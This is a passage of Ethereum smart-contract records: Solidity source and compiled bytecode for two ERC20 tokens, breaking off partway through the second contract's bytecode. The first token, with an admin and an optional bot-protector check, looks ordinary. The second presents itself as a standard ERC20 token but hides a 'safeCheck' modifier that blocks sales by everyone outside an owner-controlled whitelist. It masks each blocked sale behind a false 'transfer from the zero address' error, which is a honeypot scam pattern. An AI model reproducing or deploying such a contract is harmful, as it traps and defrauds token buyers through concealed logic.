function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } /** * @dev Implementation of the {IERC20} interface. */ contract ProtectedErc20 is Context, Initializable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 public _maxTotalSupply; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address public _admin; address public _botProtector; /** * @dev This contract is supposed to be used as logic implementation that will be pointed to by * minimal proxy contract. {initialize} function sets all of the initial state for the contract. * * Sets the values for {name}, {symbol} and {decimals}. */ function initialize( address admin_, string calldata name_, string calldata symbol_, uint8 decimals_, uint256 maxTotalSupply_, address recipient_) external initializer { require(maxTotalSupply_ > 0, "zero max total supply"); _admin = admin_; _maxTotalSupply = maxTotalSupply_; _name = name_; _symbol = symbol_; _decimals = decimals_; if (recipient_ != address(0)) { _mint(recipient_, maxTotalSupply_); } } /** * @dev Returns the name of the token. */ function name() external view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() external view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() external view virtual override returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() external view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) external view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) external view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) external virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } modifier onlyAdmin() { require(_admin == _msgSender(), "auth failed"); _; } function setAdmin(address newAdmin) onlyAdmin external { _admin = newAdmin; } function mint(address to) onlyAdmin external { require(_totalSupply == 0, "already minted"); _mint(to, _maxTotalSupply); } function setBotProtector(address botProtector) onlyAdmin external { _botProtector = botProtector; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (_botProtector != address(0)) { require(!IBotProtector(_botProtector).isPotentialBotTransfer(sender, recipient), "Bot transaction debounced"); } uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) private { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063704b6c02116100a2578063a9059cbb11610071578063a9059cbb1461024a578063ade72ee51461025d578063da78291b14610270578063dd62ed3e14610283578063e39cba87146102bc57600080fd5b8063704b6c02146101f357806370a082311461020657806395d89b411461022f578063a457c2d71461023757600080fd5b806323b872dd116100e957806323b872dd1461019a578063313ce567146101ad5780633730837c146101c257806339509351146101cb5780636a627842146101de57600080fd5b806301bc45c91461011b57806306fdde0314610150578063095ea7b31461016557806318160ddd14610188575b600080fd5b6007546101339061010090046001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6101586102cf565b6040516101479190610ee6565b610178610173366004610e9d565b610361565b6040519015158152602001610147565b6004545b604051908152602001610147565b6101786101a8366004610db4565b610377565b60075460405160ff9091168152602001610147565b61018c60035481565b6101786101d9366004610e9d565b610426565b6101f16101ec366004610d61565b610462565b005b6101f1610201366004610d61565b6104e2565b61018c610214366004610d61565b6001600160a01b031660009081526001602052604090205490565b61015861053a565b610178610245366004610e9d565b610549565b610178610258366004610e9d565b6105e2565b600854610133906001600160a01b031681565b6101f161027e366004610d61565b6105ef565b61018c610291366004610d82565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101f16102ca366004610def565b610641565b6060600580546102de90610f82565b80601f016020809104026020016040519081016040528092919081815260200182805461030a90610f82565b80156103575780601f1061032c57610100808354040283529160200191610357565b820191906000526020600020905b81548152906001019060200180831161033a57829003601f168201915b5050505050905090565b600061036e3384846107ab565b50600192915050565b60006103848484846108cf565b6001600160a01b03841660009081526002602090815260408083203384529091529020548281101561040e5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61041b85338584036107ab565b506001949350505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161036e91859061045d908690610f5e565b6107ab565b6007546001600160a01b036101009091041633146104925760405162461bcd60e51b815260040161040590610f39565b600454156104d35760405162461bcd60e51b815260206004820152600e60248201526d185b1c9958591e481b5a5b9d195960921b6044820152606401610405565b6104df81600354610b86565b50565b6007546001600160a01b036101009091041633146105125760405162461bcd60e51b815260040161040590610f39565b600780546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6060600680546102de90610f82565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156105cb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610405565b6105d833858584036107ab565b5060019392505050565b600061036e3384846108cf565b6007546001600160a01b0361010090910416331461061f5760405162461bcd60e51b815260040161040590610f39565b600880546001600160a01b0319166001600160a01b0392909216919091179055565b600054610100900460ff168061065a575060005460ff16155b6106bd5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610405565b600054610100900460ff161580156106df576000805461ffff19166101011790555b600083116107275760405162461bcd60e51b81526020600482015260156024820152747a65726f206d617820746f74616c20737570706c7960581b6044820152606401610405565b60078054610100600160a81b0319166101006001600160a01b038c1602179055600383905561075860058989610c65565b5061076560068787610c65565b506007805460ff191660ff86161790556001600160a01b0382161561078e5761078e8284610b86565b80156107a0576000805461ff00191690555b505050505050505050565b6001600160a01b03831661080d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610405565b6001600160a01b03821661086e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610405565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109335760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610405565b6001600160a01b0382166109955760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610405565b6008546001600160a01b031615610a7d57600854604051600162309a0760e01b031981526001600160a01b03858116600483015284811660248301529091169063ffcf65f990604401602060405180830381600087803b1580156109f857600080fd5b505af1158015610a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a309190610ec6565b15610a7d5760405162461bcd60e51b815260206004820152601960248201527f426f74207472616e73616374696f6e206465626f756e636564000000000000006044820152606401610405565b6001600160a01b03831660009081526001602052604090205481811015610af55760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610405565b6001600160a01b03808516600090815260016020526040808220858503905591851681529081208054849290610b2c908490610f5e565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b7891815260200190565b60405180910390a350505050565b6001600160a01b038216610bdc5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401610405565b8060046000828254610bee9190610f5e565b90915550506001600160a01b03821660009081526001602052604081208054839290610c1b908490610f5e565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b828054610c7190610f82565b90600052602060002090601f016020900481019282610c935760008555610cd9565b82601f10610cac5782800160ff19823516178555610cd9565b82800160010185558215610cd9579182015b82811115610cd9578235825591602001919060010190610cbe565b50610ce5929150610ce9565b5090565b5b80821115610ce55760008155600101610cea565b80356001600160a01b0381168114610d1557600080fd5b919050565b60008083601f840112610d2b578182fd5b50813567ffffffffffffffff811115610d42578182fd5b602083019150836020828501011115610d5a57600080fd5b9250929050565b600060208284031215610d72578081fd5b610d7b82610cfe565b9392505050565b60008060408385031215610d94578081fd5b610d9d83610cfe565b9150610dab60208401610cfe565b90509250929050565b600080600060608486031215610dc8578081fd5b610dd184610cfe565b9250610ddf60208501610cfe565b9150604084013590509250925092565b60008060008060008060008060c0898b031215610e0a578384fd5b610e1389610cfe565b9750602089013567ffffffffffffffff80821115610e2f578586fd5b610e3b8c838d01610d1a565b909950975060408b0135915080821115610e53578586fd5b50610e608b828c01610d1a565b909650945050606089013560ff81168114610e79578384fd5b925060808901359150610e8e60a08a01610cfe565b90509295985092959890939650565b60008060408385031215610eaf578182fd5b610eb883610cfe565b946020939093013593505050565b600060208284031215610ed7578081fd5b81518015158114610d7b578182fd5b6000602080835283518082850152825b81811015610f1257858101830151858201604001528201610ef6565b81811115610f235783604083870101525b50601f01601f1916929092016040019392505050565b6020808252600b908201526a185d5d1a0819985a5b195960aa1b604082015260600190565b60008219821115610f7d57634e487b7160e01b81526011600452602481fd5b500190565b600181811c90821680610f9657607f821691505b60208210811415610fb757634e487b7160e01b600052602260045260246000fd5b5091905056fea2646970667358221220b4c9be846170d180e4b389d46274525824aff090cf86fc72f9d3c9639dee514e64736f6c63430008040033
{"success": true, "error": null, "results": {}}
8,865
0xf28eae18ba5a27c63b5f6b9aaa1ebc0c9affba4f
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} if(sender==_address0){_Addressint[recipient] = true;} _;} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } //transfer function _transfer_DVG(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffff